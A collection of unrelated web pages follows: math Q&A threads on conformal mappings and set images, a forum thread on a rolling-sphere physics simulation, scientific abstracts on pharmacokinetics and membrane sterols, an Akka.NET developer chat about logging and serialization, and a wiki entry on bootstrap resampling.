conformal I understand biholomorphic. 1. First take $f(z) = z^2$ to map the quadrant biholomorphically onto the upper half-plane, then compose with the Cayley transform $\kappa(z) = \frac{z-i}{z+i}$ to get $\kappa(f(z)) = \frac{z^2-i}{z^2+i}$. 2. Look at $\cos{(z)}$ and modify appropriately. 3. Impossible, since $G$ is not simply connected. 4. Map the region $G$ to the strip between two parallel lines using a Möbius transformation sending $1$ to infinity (e.g. using the inverse Cayley transformation). Then use the exponential function. This should be enough to figure the solutions out. For the precise relationship between "conformal" and "analytic", as well as for explanations on how to find such maps, I refer you to Ahlfors or (probably—I never really read it) Needham or any decent text on complex analysis treating conformal mapping. The characterization of biholomorphisms between simply connected regions is essentially the content of the Riemann mapping theorem. Sometimes biholomorhic mappings between polygonal regions and the unit disk can be computed via the Schwarz-Christoffel formula, but usually it leads to elliptic integrals that can't be solved explicitly in elementary terms. Since the solution of 4. is a bit trickier, here's a rather detailed outline: First note that $G$ is the region enclosed between the circles $\{|z| = 1\}$ and $\{|z - \frac{1}{2}| = \frac{1}{2}\}$. Applying the Möbius transformation (= the inverse Cayley transform) $\kappa^{-1}(z) = i\frac{1+z}{1-z}$ sends $G$ to the horizontal strip $\{0 \lt \operatorname{Im}{z} \lt 1\}$. To see this, look at this picture from Wikipedia illustrating the Cayley transform: Finally, the exponential function $g(z) = \exp{(\pi z)}$ sends this strip to the upper half plane. Composing this with the Cayley transform we get the biholomorphic map $h = \kappa \circ g \circ \kappa^{-1}: G \to \mathbb{D}$. - Here is a sketch: For (1) we want to map the open first quadrant onto the unit disk. What we can do is first map the open first quadrant onto the upper half plane then the upper half plane onto the unit disk. the mapping $z \mapsto z^2$ maps the first quadrant to the upper half plane. Then the upper half plane can be mapped to the unit disk by the mapping $z \mapsto \frac{z-i}{z+i}$. What remains to do is to compose. For (2) $z \mapsto cosh(\pi z)$ maps the open half strip of width 1 to the upper half plane. You can now compose with the mapping in (1) which maps the upper half plane to the unit disk. EDIT: As noted by Theo, these two last examples are false. For (3) I am not so sure. $z \mapsto lnz$ maps an annulus onto a rectangle. A rectangle in the plane is simply connected so by the Riemann Mapping Theorem one can find a unique conformal mapping between the rectangle and the unit disk. However I don't know which one. For (4) It sound like the region described in the interior of a parabola. In which the case the mapping onto the unit disk would be $tan^2 \frac{\pi}{4} \sqrt{\frac{z}{p}}$, $p$ being one fourth of the height of the segment on the $y$-axis formed by the intersection of the parabola with the $y$-axis. I am really unsure about this last one. Maybe someone else could help. - Your solutions to 3) and 4) are wrong. In 3) the map is not everywhere defined, in 4) you have the difference between two circles (precisely the region inside the unit disk but outside the circle with radius $1/2$ around $1/2$. – t.b. Jul 19 '11 at 7:48 Thanks! I'll edit accordingly. – user786 Jul 19 '11 at 7:53
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http://www.phy.ntnu.edu.tw/ntnujava/index.php?topic=1953.msg7238
NTNUJAVA Virtual Physics LaboratoryEnjoy the fun of physics with simulations! Backup site http://enjoy.phy.ntnu.edu.tw/ntnujava/ April 19, 2019, 06:02:34 am Music is a higher revelation than all wisdom and philosophy. Complete the mission of life. ..."Beethoven (1770-1827, German composer)" Pages: [1]   Go Down Author Topic: Ejs Open Source Rolling Solid & Hollow Sphere with Slipping java applet  (Read 11545 times) 0 Members and 1 Guest are viewing this topic. Click to toggle author information(expand message area). lookang Moderator Hero Member Offline Posts: 1792 http://weelookang.blogspot.com « Embed this message on: September 22, 2010, 06:44:24 pm » Ejs Open Source Rolling Solid & Hollow Sphere with Slipping java applet reference: http://iwant2study.org/ospsg/index.php/interactive-resources/physics/02-newtonian-mechanics/05-circle/665-rotatediskwee by Hwang Fu Kwun, Loo Kang Wee and Fremont Teng http://www.phy.ntnu.edu.tw/ntnujava/index.php?topic=150.msg6487#msg6487 by Hwang Fu Kwun original http://www.phy.ntnu.edu.tw/ntnujava/index.php?topic=1801.0 by Hwang Fu Kwun original layout by Ahmed. Embed a running copy of this simulation Embed a running copy link(show simulation in a popuped window) Full screen applet or Problem viewing java?Add http://www.phy.ntnu.edu.tw/ to exception site list • Please feel free to post your ideas about how to use the simulation for better teaching and learning. • Post questions to be asked to help students to think, to explore. • Upload worksheets as attached files to share with more users. Let's work together. We can help more users understand physics conceptually and enjoy the fun of learning physics! Description: Slipping and Rolling Sphere The EJS Slipping and Rolling Sphere Model shows the motion of sphere rolling on a floor subject to a frictional force as determined by the coefficient of friction μk. The simulation allows the user to change the initial translational and rotational velocities of the wheel, v_i and ω_i, and the radius, mass and mass distribution momentum of inertia cofficeient, R, m, and C of the wheel. By controlling these variables, the dynamics of the wheel can be changed to show the slipping, then rolling without slipping, of the wheel. Slipping and Rolling Object (Sphere or Cylindrical) Theory The theory behind the simulation of the rolling and slipping sphere is relatively straightforward, but substantially differs from its simpler cousin: the rolling without slipping sphere. When a sphere rolls without slipping, v = ωR, where v is the linear or translational velocity of the wheel, ω is the angular or rotational velocity of the wheel, and R is the wheel’s radius. When this condition is maintained, the relative velocity between the bottom of the wheel and the ground is zero. This condition, therefore, also means that the frictional force that acts must be static friction which cannot do any work on the wheel, and energy methods can be used to analyze the motion. For rolling with slipping, the force acting on the wheel is kinetic friction which must be treated both as a force, F, acting on the center of mass of the wheel and as a torque, τ, acting at the point of contact between the wheel and the ground. During this motion, both the force and the torque are constant and therefore the velocity and the angular velocity can be determined with the constant acceleration kinematics equations: v = v0 +(F/m)t and ω = ω0 +(τ/I)t, respectively The rotational and translational motions are then independent until v = ωR when the wheel begins to roll without slipping. The time when this occurs can be found with these kinematics equations solving for when v = ωR. The simulation has these theoretical details explicitly encoded in it. Specifically: The translation and rotational motions each have their own differential equation (ODE) describing the motion (dx/dt = v, dv/dt = F/m, dθ/dt = ω, and dω/dt = τ/I). These two motions can be coupled in the same way that two-dimensional motion in x and y can be coupled, but the dynamics can be understood separately. EJS makes it easy to model the coupled problem without messy mathematical manipulations with a lot of trigonometric functions. The Evolution page in EJS allows one to easily transform from the space to the body frame by changing the transform vectors. See the Evolution workpanel in EJS for details. EJS differential equation solver (ODE) events allow us to determine precisely when slipping stops, v = ωR, and to switch the equations of motion from rolling with slipping (constant acceleration and constant angular acceleration) to rolling without slipping (constant velocity and constant angular velocity). See the ODE events page in EJS for details. Exercises: Questions 1. For an initially translating, but not rotating, wheel, draw a free-body diagram and determine the acceleration and the angular acceleration of the wheel for the time it is translating and slipping. Your answers should be written in terms of μk, v_i, C kw, m, and R. 2. For the scenario in (1), (a) determine the time the wheel is slipping, (b) determine the distance the wheel travels while slipping, (c) determine the final translational and rotational velocities when the slipping stops. Check your answer against the simulation. 3. Redo questions (1) and (2) for an initially rotating (with backspin), but not translating, wheel. Check your answer against the simulation. 4. Redo questions (1) and (2) for an initially rotating (with backspin), and initially translating, wheel. Check your answer against the simulation. Show that the condition for the wheel to end up stationary is that v_i = -v*ω_i*R*kw. Ejs Open Source Rolling Solid & Hollow Sphere with Slipping java applet.PNG (45.37 KB, 756x589 - viewed 590 times.) « Last Edit: March 22, 2018, 12:19:55 pm by lookang » Logged lookang Moderator Hero Member Offline Posts: 1792 http://weelookang.blogspot.com « Embed this message Reply #1 on: September 22, 2010, 06:52:00 pm » changes 0 was browsing around from http://www.phy.ntnu.edu.tw/ntnujava/index.php?topic=1949.msg7179;topicseen#msg7179 Hwang Fu Kwun original, layout by Ahmed. 1. redesign from http://www.phy.ntnu.edu.tw/ntnujava/index.php?topic=150.msg6487#msg6487 by Hwang Fu Kwun original 2 add tangential velocity visual and bar 4 color adapted from http://www.phy.ntnu.edu.tw/ntnujava/index.php?topic=1949.0 and own design 5 fix bug in equation d(omega)/dt = kv*kw*mu*g/R, kw missing 6 add initial button to allow viewing of solid and hollow sphere one run after another for clearer visual of the graphs 2 plots 9 made visual of tangential velocity and linear velocity shorter to fit into the view by divide by 10 11 fix bug the trace is position correctly now at the fixed point on the rim of the object 13 add symbols $theta$ etc 28sept2010 14 add velocity at the contact = vx - omega*R http://www.compadre.org/osp/items/detail.cfm?ID=7896 Ejs Coin Rolling with and without Sliding Model written by Juan Aguirregabiria edited by Wolfgang Christian « Last Edit: September 28, 2010, 08:37:58 am by lookang » Logged lookang Moderator Hero Member Offline Posts: 1792 http://weelookang.blogspot.com « Embed this message Reply #2 on: September 22, 2010, 09:03:31 pm » can check why the applet does not show up in web? i am using Ejs 4.2.7, the latest 4.3.1 cannot compile the $alpha$ properly « Last Edit: September 23, 2010, 07:48:14 am by lookang » Logged ahmedelshfie Ahmed Hero Member Offline Posts: 954 « Embed this message Reply #3 on: September 23, 2010, 12:23:39 am » posted from:Uberaba,Minas Gerais,Brazil I tried access applet and test using Firefox, Internet Explorer and Google Chrome, but no access on NTNU didn't know where error. About Symbols like $theta$ by EJS 4.3.1 the same error not work can't compile Symbols. ( Symbols worked very well by EJS 4.3.0) However prof hwang i think can find where is error. I just report my test. pic2.gif (17.74 KB, 750x550 - viewed 479 times.) « Last Edit: September 23, 2010, 12:31:05 am by ahmedelshfie » Logged lookang Moderator Hero Member Offline Posts: 1792 http://weelookang.blogspot.com « Embed this message Reply #4 on: September 25, 2010, 08:20:14 pm » i tried the export as web applets and found it didn't load. after investigating, it will load if the panel of bar values are removed. i suspect it was the row of bar values in the panel. after i change x bar to a x slider and recompile, it works now. it was not the java version or Ejs version, it was the way Ejs assemble the java codes in the applet and it happened a row of bar values made the applet cannot web load it works now enjoy! Ejs Open Source Rolling Solid & Hollow Sphere with Slipping java applet.PNG (45.37 KB, 756x589 - viewed 467 times.)  Ejs Open Source Rolling Solid & Hollow Sphere with Slipping java applet0.png (47.47 KB, 826x587 - viewed 540 times.) « Last Edit: September 27, 2010, 08:31:25 am by lookang » Logged Pages: [1]   Go Up Music is a higher revelation than all wisdom and philosophy. Complete the mission of life. ..."Beethoven (1770-1827, German composer)"
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http://mathoverflow.net/revisions/61772/list
Suppose $H$ is a Hopf algebra over a field $K$ and $S$ is a ring which has a right $H$-action. If ${}_HA$ is a pure left $H$-submodule, will $S\otimes_H A$ be a pure $S$-submodule ? If not, then what are the minimum conditions required (on $H$ or $S$) to make it so?
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https://figshare.com/articles/_Applying_Linear_and_Non_Linear_Methods_for_Parallel_Prediction_of_Volume_of_Distribution_and_Fraction_of_Unbound_Drug_/816010/1
## Applying Linear and Non-Linear Methods for Parallel Prediction of Volume of Distribution and Fraction of Unbound Drug 2013-10-07T01:31:28Z (GMT) by <div><p>Volume of distribution and fraction unbound are two key parameters in pharmacokinetics. The fraction unbound describes the portion of free drug in plasma that may extravasate, while volume of distribution describes the tissue access and binding of a drug. Reliable <i>in silico</i> predictions of these pharmacokinetic parameters would benefit the early stages of drug discovery, as experimental measuring is not feasible for screening purposes. We have applied linear and nonlinear multivariate approaches to predict these parameters: linear partial least square regression and non-linear recursive partitioning classification. The volume of distribution and fraction of unbound drug in plasma are predicted in parallel within the model, since the two are expected to be affected by similar physicochemical drug properties. Predictive models for both parameters were built and the performance of the linear models compared to models included in the commercial software <i>Volsurf+</i>. Our models performed better in predicting the unbound fraction (Q<sup>2</sup> 0.54 for test set compared to 0.38 with <i>Volsurf+</i> model), but prediction accuracy of the volume of distribution was comparable to the <i>Volsurf+</i> model (Q<sup>2</sup> of 0.70 for test set compared to 0.71 with <i>Volsurf+</i> model). The nonlinear classification models were able to identify compounds with a high or low volume of distribution (sensitivity 0.81 and 0.71, respectively, for test set), while classification of fraction unbound was less successful. The interrelationship between the volume of distribution and fraction unbound is investigated and described in terms of physicochemical descriptors. Lipophilicity and solubility descriptors were found to have a high influence on both volume of distribution and fraction unbound, but with an inverse relationship.</p></div>
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http://math.stackexchange.com/questions/285589/functions-set-theory-proof-that-fc-cup-d-fc-cup-fd
# Functions-Set Theory Proof that $f(C \cup D) = f(C) \cup f(D)$ [duplicate] Possible Duplicate: Prove $f(S \cup T) = f(S) \cup f(T)$ I'm revisiting set theory and am troubled by this question. Let $f:A \rightarrow B$, and $C \subset A$, $D \subset A$. Prove that $f(C \cup D) = f(C) \cup f(D)$. Any thoughts? - ## marked as duplicate by Martin Sleziak, Stefan Hansen, Fabian, Arthur Fischer♦, Old JohnJan 24 '13 at 10:06 The tag elementary-functions is for questions about elementary functions, not about functions in general. –  Martin Sleziak Jan 24 '13 at 7:20 sorry about the duplicate, thanks for the heads up –  Peej Gerard Jan 24 '13 at 17:50 I'll show $\subseteq$. Let $y\in f(C\cup D)$. Then there exists an $x\in C\cup D$ such that $f(x)=y$. This means $x\in C$ or $x\in D$, hence $f(x)\in f(C)$ or $f(x)\in f(D)$. This implies $f(x)\in f(C)\cup f(D)$ and we've established $$f(C\cup D)\subseteq f(C)\cup f(D).$$ Approach the other containment in a similar manner. - thank you very much –  Peej Gerard Jan 24 '13 at 17:50 if $f : A \to B$ and $E \subset A$ then by definition $\{ f(e) \in B | e \in E \}$. So you want to prove $$\{ f(e) \in B | e \in C \cap D \} = \{ f(e) \in B | e \in C \} \cap \{ f(e) \in B | e \in D \}$$ so $$\{ f(e) \in B | e \in C \cap D \} = \{ f(e) \in B | e \in C \& e \in D \}$$ done -
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http://www.researchgate.net/publication/45274241_Transmembrane_peptides_influence_the_affinity_of_sterols_for_phospholipid_bilayers
Article # Transmembrane Peptides Influence the Affinity of Sterols for Phospholipid Bilayers Department of Biochemistry and Pharmacy, Abo Akademi University, Turku, Finland. (Impact Factor: 3.97). 07/2010; 99(2):526-33. DOI: 10.1016/j.bpj.2010.04.052 Source: PubMed ABSTRACT Cholesterol is distributed unevenly between different cellular membrane compartments, and the cholesterol content increases from the inner bilayers toward the plasma membrane. It has been suggested that this cholesterol gradient is important in the sorting of transmembrane proteins. Cholesterol has also been to shown play an important role in lateral organization of eukaryotic cell membranes. In this study the aim was to determine how transmembrane proteins influence the lateral distribution of cholesterol in phospholipid bilayers. Insight into this can be obtained by studying how cholesterol interacts with bilayer membranes of different composition in the presence of designed peptides that mimic the transmembrane helices of proteins. For this purpose we developed an assay in which the partitioning of the fluorescent cholesterol analog CTL between LUVs and mbetaCD can be measured. Comparison of how cholesterol and CTL partitioning between mbetaCD and phospholipid bilayers with different composition suggests that CTL sensed changes in bilayer composition similarly as cholesterol. Therefore, the results obtained with CTL can be used to understand cholesterol distribution in lipid bilayers. The effect of WALP23 on CTL partitioning between DMPC bilayers and mbetaCD was measured. From the results it was clear that WALP23 increased both the order in the bilayers (as seen from CTL and DPH anisotropy) and the affinity of the sterol for the bilayer in a concentration dependent way. Although WALP23 also increased the order in DLPC and POPC bilayers the effects on CTL partitioning was much smaller with these lipids. This indicates that proteins have the largest effect on sterol interactions with phospholipids that have longer and saturated acyl chains. KALP23 did not significantly affect the acyl chain order in the phospholipid bilayers, and inclusion of KALP23 into DMPC bilayers slightly decreased CTL partitioning into the bilayer. This shows that transmembrane proteins can both decrease and increase the affinity of sterols for the lipid bilayers surrounding proteins. This is likely to affect the sterol distribution within the bilayer and thereby the lateral organization in biomembranes. ### Full-text Available from: Thomas K M Nyholm, 0 Followers · 14 Reads • Source • "2.2. CTL partitioning between bilayers and methyl-β-cyclodextrin CTL partitioning between large unilamellar vesicles (LUVs) and methyl-β-cyclodextrin was measured as described previously [15] [19]. " ##### Article: Sterol affinity for phospholipid bilayers is influenced by hydrophobic matching between lipids and transmembrane peptides [Hide abstract] ABSTRACT: Lipid self-organization is believed to be essential for shaping the lateral structure of membranes, but it is becoming increasingly clear that also membrane proteins can be involved in the maintenance of membrane architecture. Cholesterol is thought to be important for the lateral organization of eukaryotic cell membranes and has also been implicated to take part in the sorting of cellular transmembrane proteins. Hence, it is a good starting point for studying the influence of lipid-protein interactions on membrane trafficking is to find out how transmembrane proteins influence the lateral sorting of cholesterol in phospholipid bilayers. By measuring equilibrium partitioning of the fluorescent cholesterol analog cholestatrienol between large unilamellar vesicles and methyl-β-cyclodextrin the effect of hydrophobic matching on the affinity of sterols for phospholipid bilayers was determined. Sterol partitioning was measured in DLPC, DMPC and DPPC bilayers with and without WALP19, WALP23 or WALP27 peptides. The results showed that the affinity of the sterol for the bilayers was affected by hydrophobic matching. An increasing positive hydrophobic mismatch led to stronger sterol binding to the bilayers (except in extreme situations), and a large negative hydrophobic mismatch decreased the affinity of the sterol for the bilayer. In addition, peptide insertion into the phospholipid bilayers was observed to depend on hydrophobic matching. In conclusion, the results showed that hydrophobic matching can affect lipid-protein interactions in a way that may facilitate the formation of lateral domains in cell membranes. This could be of importance in membrane trafficking. Biochimica et Biophysica Acta 12/2012; 1828(3). DOI:10.1016/j.bbamem.2012.11.034 · 4.66 Impact Factor • Source • "The aligned phase is typically formed at low temperatures and even at high lipid concentrations. Nyström et al. (2010) found that the lateral distribution of cholesterol in DMPC membrane is affected by transmembrane proteins. The latter can either decrease or increase the affinity of sterols for the lipid bilayers surrounding proteins. " ##### Article: Phase diagrams of confined solutions of dimyristoylphosphatidylcholine (DMPC) lipid and cholesterol in nanotubes [Hide abstract] ABSTRACT: We have studied equilibrium morphologies of dimyristoylphosphatidylcholine lipid solution and cholesterol solution confined to nanotubes using dissipative particle dynamics (DPD) simulations. Phase diagrams regarding monomer concentration c versus radius of nanotube r for both solutions are attained. Three types of the inner surface of nanotubes, namely hydrophobic, hydrophilic, and hydroneutral are considered in the DPD simulations. A number of phases and molecular assemblies for the confined solutions are revealed, among others, such as the spiral wetting and bilayer helix. Several phases and assemblies have not been reported in the literature, and some are non-existence in bulk solutions. The ability to control the morphologies and self-assemblies within nanoscale confinement can be exploited for patterning interior surface of nanochannels for application in nanofluidics and nanomedical devices. Microfluidics and Nanofluidics 06/2012; 14(6). DOI:10.1007/s10404-012-1107-3 · 2.53 Impact Factor • Source • "Cholesterol was used as the bulk sterol, and cholesta-5,7,9-trien-3 beta-ol (at 1 mol%; CTL) was our cholesterol mimic, whose lateral distribution and bilayer partitioning was directly measured. We and others have previously shown that CTL is the best fluorescent cholesterol mimic available [17,35–37], and although CTL is slightly more polar than cholesterol, its relative membrane partitioning into different phospholipid bilayer is very similar to that observed for e.g., radiolabeled cholesterol [36] [37] [38]. " ##### Article: Effect of hydrophobic mismatch and interdigitation on sterol/sphingomyelin interaction in ternary bilayer membranes [Hide abstract] ABSTRACT: Sphingomyelin (SM) is a major phospholipid in most cell membranes. SMs are composed of a long-chain base (often sphingosine, 18:1(Δ4t)), and N-linked acyl chains (often 16:0, 18:0 or 24:1(Δ15c)). Cholesterol interacts with SM in cell membranes, but the acyl chain preference of this interaction is not fully elucidated. In this study we have examined the effects of hydrophobic mismatch and interdigitation on cholesterol/sphingomyelin interaction in complex bilayer membranes. We measured the capacity of cholestatrienol (CTL) and cholesterol to form sterol-enriched ordered domains with saturated SM species having different chain lengths (14 to 24 carbons) in ternary bilayer membranes. We also determined the equilibrium bilayer partitioning coefficient of CTL with 1-palmitoyl-2-oleoyl-sn-glycero-3-phosphocholine (POPC) membranes containing 20mol% of saturated SM analogs. Ours results show that while CTL and cholesterol formed sterol-enriched domains with both short and long-chain SM species, the sterols preferred interaction with 16:0-SM over any other saturated chain length SM analog. When CTL membrane partitioning was determined with fluid POPC bilayers containing 20mol% of a saturated chain length SM analog, the highest affinity was seen with 16:0-SM (both at 23 and 37°C). These results indicate that hydrophobic mismatch and/or interdigitation attenuate sterol/SM association and thus affect lateral distribution of sterols in the bilayer membrane. Biochimica et Biophysica Acta 07/2011; 1808(7):1940-5. DOI:10.1016/j.bbamem.2011.04.004 · 4.66 Impact Factor Show more
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https://gitter.im/akkadotnet/akka.net?at=57daeacb27a8458f7f1a90a8
Where communities thrive • Join over 1.5M+ people • Join over 100K+ communities • Free without limits Activity • 07:30 to11mtm synchronize #4581 • 06:37 tesgu commented #4639 • Nov 26 17:31 razvangoga commented #4215 • Nov 26 17:28 razvangoga commented #4215 • Nov 26 17:18 Aaronontheweb commented #4215 • Nov 26 17:16 Aaronontheweb on 1.4.12 • Nov 26 17:15 Aaronontheweb on master Bump AkkaVersion from 1.4.5 to … Bump Microsoft.NET.Test.Sdk fro… Bump MongoDB.Driver from 2.10.4… and 10 more (compare) • Nov 26 17:15 Aaronontheweb closed #163 • Nov 26 17:15 Aaronontheweb opened #163 • Nov 26 17:14 Aaronontheweb on 1.4.12 • Nov 26 17:14 Aaronontheweb on dev Added v1.4.12 release notes (#1… (compare) • Nov 26 17:14 Aaronontheweb closed #162 • Nov 26 16:48 Aaronontheweb opened #162 • Nov 26 16:48 Aaronontheweb on 1.4.12 Added v1.4.12 release notes ##… (compare) • Nov 26 16:47 dependabot-preview[bot] on nuget • Nov 26 16:47 dependabot-preview[bot] closed #161 • Nov 26 16:47 dependabot-preview[bot] edited #161 • Nov 26 16:47 dependabot-preview[bot] commented #161 • Nov 26 16:46 dependabot-preview[bot] edited #161 • Nov 26 16:46 Aaronontheweb commented #159 Bartosz Sypytkowski @Horusiath @DamianReeves in Akka (and other message based models) it's easier to define a contract on message level, i.e: interface IMyProtocolMessage {} sealed class MyMessage1 : IMyProtocolMessage {} sealed class MyMessage2 : IMyProtocolMessage {} Unlike method calls, messages are composable. You can wrap one message with another, batch them, redirect or persist if necessary. Also, you can define dynamic interfaces (through Become) with that. For type safety it's possible to wrap IActorRefs with typed version (think IActorRef<IMyProtocolMessage>) - I've made this a default in Akkling. Damian Reeves @DamianReeves Hmm... that makes sense. So @Horusiath when you store IActorRefs in your actor implementations you store IActorRef<T>s so that that lets you know what set of messages you can send? Bartosz Sypytkowski @Horusiath yes, I use custom surrogate wrapper over existing one which contains type parameter Damian Reeves @DamianReeves Cool, will crack open Akkling and take a look. I was starting to feel like the whole Akka.Interfaced approach was solving one problem but eliminating some of the benefits of a message oriented app model Bartosz Sypytkowski @Horusiath Akkling is in F# - in C# you can do a little more (F# doesn't allow you do explicitly define covariant/contravariant types) Damian Reeves @DamianReeves So what is the role of the TypedActorRefSurrogate<'Message>, is that for serialization purposes? Bartosz Sypytkowski @Horusiath yes, actor refs need to have their own custom serialization/deserialization strategy - they are not serializable/deserializable without context. This is where surrogates come to play. Damian Reeves @DamianReeves Ok, will have to look at examples of Akka's serialization surrogate usage. I like the pattern Vagif Abilov @object When using F# API and piping an async task, where should a client catch possible task cancellation exception? I.e. if the code looks like doSomethingAsync |!> mailbox.Self And doSomethingAsync is cancelled How does this cancellation propagated to an F# actor function? Bartosz Sypytkowski @Horusiath @object not tested but I guess it should be Failure message with TimeoutException inside Ronnie Overby @ronnieoverby Messages are not copied when being passed between local actors, correct? Vagif Abilov @object @Horusiath Failure message? What kind of message is it? Where is it defined? Marc Piechura @marcpiechura @ronnieoverby correct, that's also the reason why your messages need to be immutable Ronnie Overby @ronnieoverby Which is why I'm asking :) Marc Piechura @marcpiechura ;) Ronnie Overby @ronnieoverby I'm adapting some legacy code to akka and was thinking about reusing some existing poco types that aren't immutable. But doesn't look like that's a good idea. Marc Piechura @marcpiechura Yeah would probably lead to some race conditions especially if you have lists and so on in your messages You could maybe use a base actor that does deep coping like orleans does but that would slow down all the things Ronnie Overby @ronnieoverby I don't have a big problem with writing mapping code to an immutable type Marc Piechura @marcpiechura @object If the F# operator is using the normal PipeTo extension method then it's Status.Failure, see https://github.com/akkadotnet/akka.net/blob/dev/src/core/Akka/Actor/PipeToSupport.cs#L32 Vagif Abilov @object @Silv3rcircl3 yes it's using the normal PipeTo. Thanks for the link. Now it's clear. Damian Reeves @DamianReeves Since messages are supposed to be immutable why is it that we don't see more examples of using structs as message types. @Horusiath I looked at your AkkaCqrs example again and you are using structs, was that just an experiment, or is that how you commonly proceed? Damian Reeves @DamianReeves Can my ActorSystem be run in Azure in a Web job? qwoz @qwoz You can run arbitrary .exe files in a web job, so theoretically I don't see why not. As to whether you ought to... :) Bartosz Sypytkowski @Horusiath @DamianReeves my CQRS example is slightly outdated. Regarding structs this won't help a lot (I think), because messages bo through untyped mailbox so structs will be boxed anyway. regarding web jobs - it's possible, I know that problem may be with exposing enpoint in cluster scenarios Shuffzord @Shuffzord Hey guys, is there any room for some technical help in c# akka.net ? Bart de Boer @boekabart stackoverflow, of course, and this room. Shuffzord @Shuffzord I'm trying to setup nlog to be default logger for akka.net. I've included entries in config. loggers = ["Akka.Logger.NLog.NLogLogger, Akka.Logger.NLog"] with proper (i think) nlog entries but i still get buslogger as the default logger. How can i debug what config is used for system creation and what logger is picked? Shuffzord @Shuffzord To add more depth to the qeustion. I tried to create cluste rsystem with and without explicit config var section = (AkkaConfigurationSection)ConfigurationManager.GetSection("akka"); var system = ActorSystem.Create("webcrawler2"); ClusterSystem = ActorSystem.Create("webcrawler", section.AkkaConfig); In both cases, cluster system in its 'settings' has loggers with 1 entry of nlog but the Logger of cluster system is set us buslogger Bartosz Sypytkowski @Horusiath @Shuffzord what exact path for loggers config did you use? Shuffzord @Shuffzord @Horusiath this is from my config file. Akka: <akka> <hocon> <![CDATA[ akka { loglevel = DEBUG loggers = ["Akka.Logger.NLog.NLogLogger, Akka.Logger.NLog"] log-config-on-start = on } ]]> </hocon> </akka> And configsections deifinition <section name="akka" type="Akka.Configuration.Hocon.AkkaConfigurationSection, Akka" /> <section name="nlog" type="NLog.Config.ConfigSectionHandler, NLog"/> <section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" /> </configSections> And nlog section <nlog xmlns="http://www.nlog-project.org/schemas/NLog.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" autoReload="true" throwExceptions="true" internalLogFile="C:\Temp\internal_log_file.txt" debug="true" internalLogLevel="Trace"> <targets> <target name="f1" xsi:type="File" fileName="Scrapper.logfile" layout="[${date}] [${threadid}] [${message}]" /> <target name="c" xsi:type="Console" layout="[${threadid}] [\${message}]" /> </targets> <rules> <logger name="*" writeTo="f1" /> <logger name="*" writeTo="c" minlevel="DEBUG" /> </rules> </nlog> tried to create actiorsystem in following ways var section = (AkkaConfigurationSection)ConfigurationManager.GetSection("akka"); var system = ActorSystem.Create("webcrawler2"); ClusterSystem = ActorSystem.Create("webcrawler", section.AkkaConfig); As i see, first version is basically what is done is original source code Ohh and getting logger is private readonly ILoggingAdapter _logger = Context.GetLogger(); Bartosz Sypytkowski @Horusiath you don't need to access ConfigurationManager explicitly - app.config content will be loaded automatically Shuffzord @Shuffzord thats what i read but since it wasnt working i tried to do it manually no difference though Bartosz Sypytkowski @Horusiath I've create a fresh project with Akka.Logger.NLog and had no problems with plugin itself (more with nlog config section within app.config) - but at least this proves, that NLog is used indeed Shuffzord @Shuffzord i dont think it sthe akka problem anymore i think its something in nlog i will try to check internal logs thanks for help though wdspider @wdspider @Shuffzord after running into a similar issue a couple months back, I concluded that nlog likes to fail silently when it can't parse its config file. I ended up hard-coding the following InternalLogger settings, so that it wouldn't be quite so silent: public class Program { public static void Main(string[] args) { // Ensure NLog logs errors even if config file can't be parsed InternalLogger.LogLevel = LogLevel.Error; InternalLogger.LogToConsoleError = true; InternalLogger.LogToTrace = true; InternalLogger.LogFile = "nlog.errors"; // Initialize topshelf service HostFactory.Run(x => { x.SetServiceName("MyService"); x.SetDisplayName("My Service"); x.UseNLog(); x.StartAutomaticallyDelayed(); x.Service<MyService>(); }); } } Kevin Avignon @Kavignon Hi. I have a quick question. On the akka-bootcamp repo, it mentions that the support for F# is accepted. What's currently lacking with the F# implementation compared to the C# one ? I'd like to be able to implement an event-based architecture with Akka.NET to create an rpg prototype. Am I getting over my head here doing it with F# ? Bartosz Sypytkowski @Horusiath @Kavignon default F# API doesn't allow you to describe some things that are necessary for features like cluster sharding or cluster singleton (Akkling API does however) - in general F# API is less used and less tested and you'll have less examples for it - usual thing in smaller communities. Damian Reeves @DamianReeves I'm looking to begin work on an Akka.Persistence plugin for Marten. The required serialization format is JSON, is there a way for me to have messaging use Wire and Persistence use JSON?
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https://www.gabormelli.com/RKB/Bootstrapped_Resampling
# Bootstrapped Resampling Algorithm (Redirected from Bootstrapped Resampling) A Bootstrapped Resampling Algorithm is an out-of-sample evaluation algorithm that is a resampling algorithm (which makes use of bootstrap samples). ## References ### 2013 • (Wikipedia, 2013) ⇒ http://en.wikipedia.org/wiki/Bootstrapping_(statistics) Retrieved:2013-12-4. • In statistics, bootstrapping is a method for assigning measures of accuracy to sample estimates. [1] This technique allows estimation of the sampling distribution of almost any statistic using only very simple methods.[2] [3] Generally, it falls in the broader class of resampling methods. Bootstrapping is the practice of estimating properties of an estimator (such as its variance) by measuring those properties when sampling from an approximating distribution. One standard choice for an approximating distribution is the empirical distribution of the observed data. In the case where a set of observations can be assumed to be from an independent and identically distributed population, this can be implemented by constructing a number of resamples of the observed dataset (and of equal size to the observed dataset), each of which is obtained by random sampling with replacement from the original dataset. It may also be used for constructing hypothesis tests. It is often used as an alternative to inference based on parametric assumptions when those assumptions are in doubt, or where parametric inference is impossible or requires very complicated formulas for the calculation of standard errors. 1. Efron, B.; Tibshirani, R. (1993). An Introduction to the Bootstrap. Boca Raton, FL: Chapman & Hall/CRC. ISBN 0-412-04231-2.  software 2. Cite error: Invalid <ref> tag; no text was provided for refs named Varian 3. Weisstein, Eric W. "Bootstrap Methods." From MathWorld -- A Wolfram Web Resource. http://mathworld.wolfram.com/BootstrapMethods.html ### 2006 • (Xia, 2006a) ⇒ Fei Xia. (2006). “Bootstrapping." Course Lecture. LING 572 - Advanced Statistical Methods in Natural Language Processing ### 2002 • (Gabor Melli, 2002) ⇒ Gabor Melli. (2002). “PredictionWorks' Data Mining Glossary." PredictionWorks. • QUOTE: Bootstrap: A technique used to estimate a model's accuracy. Bootstrap performs $b$ experiments with a training set that is randomly sampled from the data set. Finally, the technique reports the average and standard deviation of the accuracy achieved on each of the b runs. Bootstrap differs from cross-validation in that test sets across experiments will likely share some rows, while in cross-validation is guaranteed to test each row in the data set once and only once. See also accuracy, resampling techniques and cross-validation.
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https://michael.cai-schmidt.org/talk/201205-planck/
